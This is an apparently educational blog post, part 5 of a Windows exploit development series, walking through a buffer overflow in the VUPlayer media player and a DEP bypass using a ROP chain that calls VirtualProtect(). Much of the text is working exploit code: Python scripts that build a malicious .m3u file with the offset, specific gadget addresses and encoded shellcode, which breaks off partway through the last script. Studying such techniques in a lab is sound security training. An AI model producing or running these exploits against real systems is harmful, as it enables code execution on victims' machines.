Zero Day Zen Garden: Windows Exploit Development — Part 5 [Return Oriented Programming Chains]

( orig text )

Hello again! Welcome to another post on Windows exploit development. Today we’re going to be discussing a technique called Return Oriented Programming (ROP) that’s commonly used to get around a type of exploit mitigation called Data Execution Prevention (DEP). This technique is slightly more advanced than previous exploitation methods, but it’s well worth learning because DEP is a protective mechanism that is now employed on a majority of modern operating systems. So without further ado, it’s time to up your exploit development game and learn how to commit a roppery!

Setting up a Windows 7 Development Environment

So far we’ve been doing our exploitation on Windows XP as a way to learn how to create exploits in an OS that has fewer security mechanisms to contend with. It’s important to start simple when you’re learning something new! But, it’s now time to take off the training wheels and move on to a more modern OS with additional exploit mitigations. For this tutorial, we’ll be using a Windows 7 virtual machine environment. Thankfully, Microsoft provides Windows 7 VMs for demoing their Internet Explorer browser. They will work nicely for our purposes here today so go ahead and download the VM from here.

Next, load it into VirtualBox and start it up. Install Immunity Debugger, Python and mona.py again as instructed in the previous blog post here. When that’s ready, you’re all set to start learning ROP with our target software VUPlayer which you can get from the Exploit-DB entry we’re working off here.

Finally, make sure DEP is turned on for your Windows 7 virtual machine by going to Control Panel > System and Security > System then clicking on Advanced system settings, click on Settings… and go to the Data Execution Prevention tab to select ‘Turn on DEP for all programs and services except those I select:’ and restart your VM to ensure DEP is turned on.

post_image

With that, you should be good to follow along with the rest of the tutorial.

Data Execution Prevention and You!

Let’s start things off by confirming that a vulnerability exists and write a script to cause a buffer overflow:

vuplayer_rop_poc1.py


<span class="n">buf</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">3000</span>
 
<span class="k">print</span> <span class="s">"[+] Creating .m3u file of size "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span>
 
<span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'vuplayer-dep.m3u'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">close</span><span class="p">();</span>
 
<span class="k">print</span> <span class="s">"[+] Done creating the file"</span>

Attach Immunity Debugger to VUPlayer and run the script, drag and drop the output file ‘vuplayer-dep.m3u’ into the VUPlayer dialog and you’ll notice that our A character string overflows a buffer to overwrite EIP.

post_image

Great! Next, let’s find the offset by writing a script with a pattern buffer string. Generate the buffer with the following mona command:


!mona pc 3000

Then copy paste it into an updated script:

vuplayer_rop_poc2.py


<span class="n">buf</span> <span class="o">=</span> <span class="s">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"</span>
 
<span class="k">print</span> <span class="s">"[+] Creating .m3u file of size "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span>
 
<span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'vuplayer-dep.m3u'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">close</span><span class="p">();</span>
 
<span class="k">print</span> <span class="s">"[+] Done creating the file"</span>

Restart VUPlayer in Immunity and run the script, drag and drop the file then run the following mona command to find the offset:


!mona po 0x68423768

post_image

post_image

Got it! The offset is at 1012 bytes into our buffer and we can now update our script to add in an address of our choosing. Let’s find a jmp esp instruction we can use with the following mona command:


!mona jmp -r esp

Ah, I see a good candidate at address 0x1010539f in the output files from Mona:

post_image

Let’s plug that in and insert a mock shellcode payload of INT instructions:

vuplayer_rop_poc3.py


<span class="kn">import</span> <span class="nn">struct</span>
 
<span class="n">BUF_SIZE</span> <span class="o">=</span> <span class="mi">3000</span>
 
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">1012</span>
<span class="n">eip</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;L'</span><span class="p">,</span> <span class="mh">0x1010539f</span><span class="p">)</span>
 
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xCC</span><span class="s">"</span><span class="o">*</span><span class="mi">200</span>
 
<span class="n">exploit</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">eip</span> <span class="o">+</span> <span class="n">shellcode</span>
 
<span class="n">fill</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x43</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="n">BUF_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span>
 
<span class="n">buf</span> <span class="o">=</span> <span class="n">exploit</span> <span class="o">+</span> <span class="n">fill</span>
 
<span class="k">print</span> <span class="s">"[+] Creating .m3u file of size "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span>
 
<span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'vuplayer-dep.m3u'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">close</span><span class="p">();</span>

<span class="k">print</span> <span class="s">"[+] Done creating the file"</span>

Time to restart VUPlayer in Immunity again and run the script. Drag and drop the file and…

post_image

Nothing happened? Huh? How come our shellcode payload didn’t execute? Well, that’s where Data Execution Prevention is foiling our evil plans! The OS is not allowing us to interpret the “0xCC” INT instructions as planned, instead it’s just failing to execute the data we provided it. This causes the program to simply crash instead of run the shellcode we want. But, there is a glimmer of hope! See, we were able to execute the “JMP ESP” instruction just fine right? So, there is SOME data we can execute, it must be existing data instead of arbitrary data like have used in the past. This is where we get creative and build a program using a chain of assembly instructions just like the “JMP ESP” we were able to run before that exist in code sections that are allowed to be executed. Time to learn about ROP!

Problems, Problems, Problems

Let’s start off by thinking about what the core of our problem here is. DEP is preventing the OS from interpreting our shellcode data “\xCC” as an INT instruction, instead it’s throwing up its hands and saying “I have no idea what in fresh hell this 0xCC stuff is! I’m just going to fail…” whereas without DEP it would say “Ah! Look at this, I interpret 0xCC to be an INT instruction, I’ll just go ahead and execute this instruction for you!”. With DEP enabled, certain sections of memory (like the stack where our INT shellcode resides) are marked as NON-EXECUTABLE (NX), meaning data there cannot be interpreted by the OS as an instruction. But, nothing about DEP says we can’t execute existing program instructions that are marked as executable like for example, the code making up the VUPlayer program! This is demonstrated by the fact that we could execute the JMP ESP code, because that instruction was found in the program itself and was therefore marked as executable so the program can run. However, the 0xCC shellcode we stuffed in is new, we placed it there in a place that was marked as non-executable.

ROP to the Rescue

So, we now arrive at the core of the Return Oriented Programming technique. What if, we could collect a bunch of existing program assembly instructions that aren’t marked as non-executable by DEP and chain them together to tell the OS to make our shellcode area executable? If we did that, then there would be no problem right? DEP would still be enabled but, if the area hosting our shellcode has been given a pass by being marked as executable, then it won’t have a problem interpreting our 0xCC data as INT instructions.

ROP does exactly that, those nuggets of existing assembly instructions are known as “gadgets” and those gadgets typically have the form of a bunch of addresses that point to useful assembly instructions followed by a “return” or “RET” instruction to start executing the next gadget in the chain. That’s why it’s called Return Oriented Programming!

But, what assembly program can we build with our gadgets so we can mark our shellcode area as executable? Well, there’s a variety to choose from on Windows but the one we will be using today is called VirtualProtect(). If you’d like to read about the VirtualProtect() function, I encourage you to check out the Microsoft developer page about it here). But, basically it will mark a memory page of our choosing as executable. Our challenge now, is to build that function in assembly using ROP gadgets found in the VUPlayer program.

Building a ROP Chain

So first, let’s establish what we need to put into what registers to get VirtualProtect() to complete successfully. We need to have:

  1. lpAddress: A pointer to an address that describes the starting page of the region of pages whose access protection attributes are to be changed.
  2. dwSize: The size of the region whose access protection attributes are to be changed, in bytes.
  3. flNewProtect: The memory protection option. This parameter can be one of the memory protection constants.
  4. lpflOldProtect: A pointer to a variable that receives the previous access protection value of the first page in the specified region of pages. If this parameter is NULL or does not point to a valid variable, the function fails.

Okay! Our tasks are laid out before us, time to create a program that will fulfill all these requirements. We will set lpAddress to the address of our shellcode, dwSize to be 0x201 so we have a sizable chunk of memory to play with, flNewProtect to be 0x40 which will mark the new page as executable through a memory protection constant (complete list can be found here), and finally we’ll set lpflOldProtect to be any static writable location. Then, all that is left to do is call the VirtualProtect() function we just set up and watch the magic happen!

First, let’s find ROP gadgets to build up the arguments our VirtualProtect() function needs. This will become our toolbox for building a ROP chain, we can grab gadgets from executable modules belonging to VUPlayer by checking out the list here:

post_image

To generate a list of usable gadgets from our chosen modules, you can use the following command in Mona:


!mona rop -m “bass,basswma,bassmidi”

post_image

Check out the rop_suggestions.txt file Mona generated and let’s get to building our ROP chain.

post_image

First let’s place a value into EBP for a call to PUSHAD at the end:


0x10010157,  # POP EBP # RETN [BASS.dll]
0x10010157,  # skip 4 bytes [BASS.dll]

Here, put the dwSize 0x201 by performing a negate instruction and place the value into EAX then move the result into EBX with the following instructions:


0x10015f77,  # POP EAX # RETN [BASS.dll]
0xfffffdff,  # Value to negate, will become 0x00000201
0x10014db4,  # NEG EAX # RETN [BASS.dll]
0x10032f72,  # XCHG EAX,EBX # RETN 0x00 [BASS.dll]

Then, we’ll put the flNewProtect 0x40 into EAX then move the result into EDX with the following instructions:


0x10015f82,  # POP EAX # RETN [BASS.dll]
0xffffffc0,  # Value to negate, will become 0x00000040
0x10014db4,  # NEG EAX # RETN [BASS.dll]
0x10038a6d,  # XCHG EAX,EDX # RETN [BASS.dll]

Next, let’s place our writable location (any valid writable location will do) into ECX for lpflOldProtect.


0x101049ec,  # POP ECX # RETN [BASSWMA.dll]
0x101082db,  # &amp;Writable location [BASSWMA.dll]

Then, we get some values into the EDI and ESI registers for a PUSHAD call later:


0x1001621c,  # POP EDI # RETN [BASS.dll]
0x1001dc05,  # RETN (ROP NOP) [BASS.dll]
0x10604154,  # POP ESI # RETN [BASSMIDI.dll]
0x10101c02,  # JMP [EAX] [BASSWMA.dll]

Finally, we set up the call to the VirtualProtect() function by placing the address of VirtualProtect (0x1060e25c) in EAX:


0x10015fe7,  # POP EAX # RETN [BASS.dll]
0x1060e25c,  # ptr to &amp;VirtualProtect() [IAT BASSMIDI.dll]

Then, all that’s left to do is push the registers with our VirtualProtect() argument values to the stack with a handy PUSHAD then pivot to the stack with a JMP ESP:


0x1001d7a5,  # PUSHAD # RETN [BASS.dll]
0x10022aa7,  # ptr to 'jmp esp' [BASS.dll]

PUSHAD will place the register values on the stack in the following order: EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI. If you’ll recall, this means that the stack will look something like this with the ROP gadgets we used to setup the appropriate registers:


| EDI (0x1001dc05) |
| ESI (0x10101c02) |
| EBP (0x10010157) |
================
VirtualProtect() Function Call args on stack
| ESP (0x0012ecf0) | ← lpAddress [JMP ESP + NOPS + shellcode]
| 0x201 | ← dwSize
| 0x40 | ← flNewProtect
| &amp;WritableLocation (0x101082db) | ← lpflOldProtect
| &amp;VirtualProtect (0x1060e25c) | ← VirtualProtect() call
================

Now our stack will be setup to correctly call the VirtualProtect() function! The top param hosts our shellcode location which we want to make executable, we are giving it the ESP register value pointing to the stack where our shellcode resides. After that it’s the dwSize of 0x201 bytes. Then, we have the memory protection value of 0x40 for flNewProtect. Then, it’s the valid writable location of 0x101082db for lpflOldProtect. Finally, we have the address for our VirtualProtect() function call at 0x1060e25c.

With the JMP ESP instruction, EIP will point to the VirtualProtect() call and we will have succeeded in making our shellcode payload executable. Then, it will slide down a NOP sled into our shellcode which will now work beautifully!

Updating Exploit Script with ROP Chain

It’s time now to update our Python exploit script with the ROP chain we just discussed, you can see the script here:

vuplayer_rop_poc4.py


<span class="kn">import</span> <span class="nn">struct</span>
 
<span class="n">BUF_SIZE</span> <span class="o">=</span> <span class="mi">3000</span>
 
<span class="k">def</span> <span class="nf">create_rop_chain</span><span class="p">():</span>

    <span class="c"># rop chain generated with mona.py - www.corelan.be</span>
    <span class="n">rop_gadgets</span> <span class="o">=</span> <span class="p">[</span>
      <span class="mh">0x10010157</span><span class="p">,</span>  <span class="c"># POP EBP # RETN [BASS.dll]</span>
      <span class="mh">0x10010157</span><span class="p">,</span>  <span class="c"># skip 4 bytes [BASS.dll]</span>
      <span class="mh">0x10015f77</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0xfffffdff</span><span class="p">,</span>  <span class="c"># Value to negate, will become 0x00000201</span>
      <span class="mh">0x10014db4</span><span class="p">,</span>  <span class="c"># NEG EAX # RETN [BASS.dll]</span>
      <span class="mh">0x10032f72</span><span class="p">,</span>  <span class="c"># XCHG EAX,EBX # RETN 0x00 [BASS.dll]</span>
      <span class="mh">0x10015f82</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0xffffffc0</span><span class="p">,</span>  <span class="c"># Value to negate, will become 0x00000040</span>
      <span class="mh">0x10014db4</span><span class="p">,</span>  <span class="c"># NEG EAX # RETN [BASS.dll]</span>
      <span class="mh">0x10038a6d</span><span class="p">,</span>  <span class="c"># XCHG EAX,EDX # RETN [BASS.dll]</span>
      <span class="mh">0x101049ec</span><span class="p">,</span>  <span class="c"># POP ECX # RETN [BASSWMA.dll]</span>
      <span class="mh">0x101082db</span><span class="p">,</span>  <span class="c"># &amp;Writable location [BASSWMA.dll]</span>
      <span class="mh">0x1001621c</span><span class="p">,</span>  <span class="c"># POP EDI # RETN [BASS.dll]</span>
      <span class="mh">0x1001dc05</span><span class="p">,</span>  <span class="c"># RETN (ROP NOP) [BASS.dll]</span>
      <span class="mh">0x10604154</span><span class="p">,</span>  <span class="c"># POP ESI # RETN [BASSMIDI.dll]</span>
      <span class="mh">0x10101c02</span><span class="p">,</span>  <span class="c"># JMP [EAX] [BASSWMA.dll]</span>
      <span class="mh">0x10015fe7</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0x1060e25c</span><span class="p">,</span>  <span class="c"># ptr to &amp;VirtualProtect() [IAT BASSMIDI.dll]</span>
      <span class="mh">0x1001d7a5</span><span class="p">,</span>  <span class="c"># PUSHAD # RETN [BASS.dll]</span>
      <span class="mh">0x10022aa7</span><span class="p">,</span>  <span class="c"># ptr to 'jmp esp' [BASS.dll]</span>
    <span class="p">]</span>
    <span class="k">return</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">rop_gadgets</span><span class="p">)</span>
 
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">1012</span>
 
<span class="n">rop_chain</span> <span class="o">=</span> <span class="n">create_rop_chain</span><span class="p">()</span>
 
<span class="n">eip</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;L'</span><span class="p">,</span><span class="mh">0x10601033</span><span class="p">)</span> <span class="c"># RETN (BASSMIDI.dll)</span>
 
<span class="n">nops</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mi">16</span>
 
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xCC</span><span class="s">"</span><span class="o">*</span><span class="mi">200</span>
 
<span class="n">exploit</span> <span class="o">=</span> <span class="n">junk</span> <span class="o">+</span> <span class="n">eip</span> <span class="o">+</span> <span class="n">rop_chain</span> <span class="o">+</span> <span class="n">nops</span> <span class="o">+</span> <span class="n">shellcode</span>
 
<span class="n">fill</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x43</span><span class="s">"</span> <span class="o">*</span> <span class="p">(</span><span class="n">BUF_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">exploit</span><span class="p">))</span>
 
<span class="n">buf</span> <span class="o">=</span> <span class="n">exploit</span> <span class="o">+</span> <span class="n">fill</span>
 
<span class="k">print</span> <span class="s">"[+] Creating .m3u file of size "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">buf</span><span class="p">))</span>
 
<span class="nb">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'vuplayer-dep.m3u'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="nb">file</span><span class="o">.</span><span class="n">close</span><span class="p">();</span>
 
<span class="k">print</span> <span class="s">"[+] Done creating the file"</span>

We added the ROP chain in a function called create_rop_chain() and we have our mock shellcode to verify if the ROP chain did its job. Go ahead and run the script then restart VUPlayer in Immunity Debug. Drag and drop the file to see a glorious INT3 instruction get executed!

post_image

You can also inspect the process memory to see the ROP chain layout:

post_image

Now, sub in an actual payload, I’ll be using a vanilla calc.exe payload. You can view the updated script below:

vuplayer_rop_poc5.py


<span class="kn">import</span> <span class="nn">struct</span>
 
<span class="n">BUF_SIZE</span> <span class="o">=</span> <span class="mi">3000</span>
 
<span class="k">def</span> <span class="nf">create_rop_chain</span><span class="p">():</span>
 
    <span class="c"># rop chain generated with mona.py - www.corelan.be</span>
    <span class="n">rop_gadgets</span> <span class="o">=</span> <span class="p">[</span>
      <span class="mh">0x10010157</span><span class="p">,</span>  <span class="c"># POP EBP # RETN [BASS.dll]</span>
      <span class="mh">0x10010157</span><span class="p">,</span>  <span class="c"># skip 4 bytes [BASS.dll]</span>
      <span class="mh">0x10015f77</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0xfffffdff</span><span class="p">,</span>  <span class="c"># Value to negate, will become 0x00000201</span>
      <span class="mh">0x10014db4</span><span class="p">,</span>  <span class="c"># NEG EAX # RETN [BASS.dll]</span>
      <span class="mh">0x10032f72</span><span class="p">,</span>  <span class="c"># XCHG EAX,EBX # RETN 0x00 [BASS.dll]</span>
      <span class="mh">0x10015f82</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0xffffffc0</span><span class="p">,</span>  <span class="c"># Value to negate, will become 0x00000040</span>
      <span class="mh">0x10014db4</span><span class="p">,</span>  <span class="c"># NEG EAX # RETN [BASS.dll]</span>
      <span class="mh">0x10038a6d</span><span class="p">,</span>  <span class="c"># XCHG EAX,EDX # RETN [BASS.dll]</span>
      <span class="mh">0x101049ec</span><span class="p">,</span>  <span class="c"># POP ECX # RETN [BASSWMA.dll]</span>
      <span class="mh">0x101082db</span><span class="p">,</span>  <span class="c"># &amp;Writable location [BASSWMA.dll]</span>
      <span class="mh">0x1001621c</span><span class="p">,</span>  <span class="c"># POP EDI # RETN [BASS.dll]</span>
      <span class="mh">0x1001dc05</span><span class="p">,</span>  <span class="c"># RETN (ROP NOP) [BASS.dll]</span>
      <span class="mh">0x10604154</span><span class="p">,</span>  <span class="c"># POP ESI # RETN [BASSMIDI.dll]</span>
      <span class="mh">0x10101c02</span><span class="p">,</span>  <span class="c"># JMP [EAX] [BASSWMA.dll]</span>
      <span class="mh">0x10015fe7</span><span class="p">,</span>  <span class="c"># POP EAX # RETN [BASS.dll]</span>
      <span class="mh">0x1060e25c</span><span class="p">,</span>  <span class="c"># ptr to &amp;VirtualProtect() [IAT BASSMIDI.dll]</span>
      <span class="mh">0x1001d7a5</span><span class="p">,</span>  <span class="c"># PUSHAD # RETN [BASS.dll]</span>
      <span class="mh">0x10022aa7</span><span class="p">,</span>  <span class="c"># ptr to 'jmp esp' [BASS.dll]</span>
    <span class="p">]</span>
    <span class="k">return</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">rop_gadgets</span><span class="p">)</span>
 
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">1012</span>
 
<span class="n">rop_chain</span> <span class="o">=</span> <span class="n">create_rop_chain</span><span class="p">()</span>
 
<span class="n">eip</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;L'</span><span class="p">,</span><span class="mh">0x10601033</span><span class="p">)</span> <span class="c"># RETN (BASSMIDI.dll)</span>
 
<span class="n">nops</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mi">16</span>
 
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1</span><span class="s">"</span>
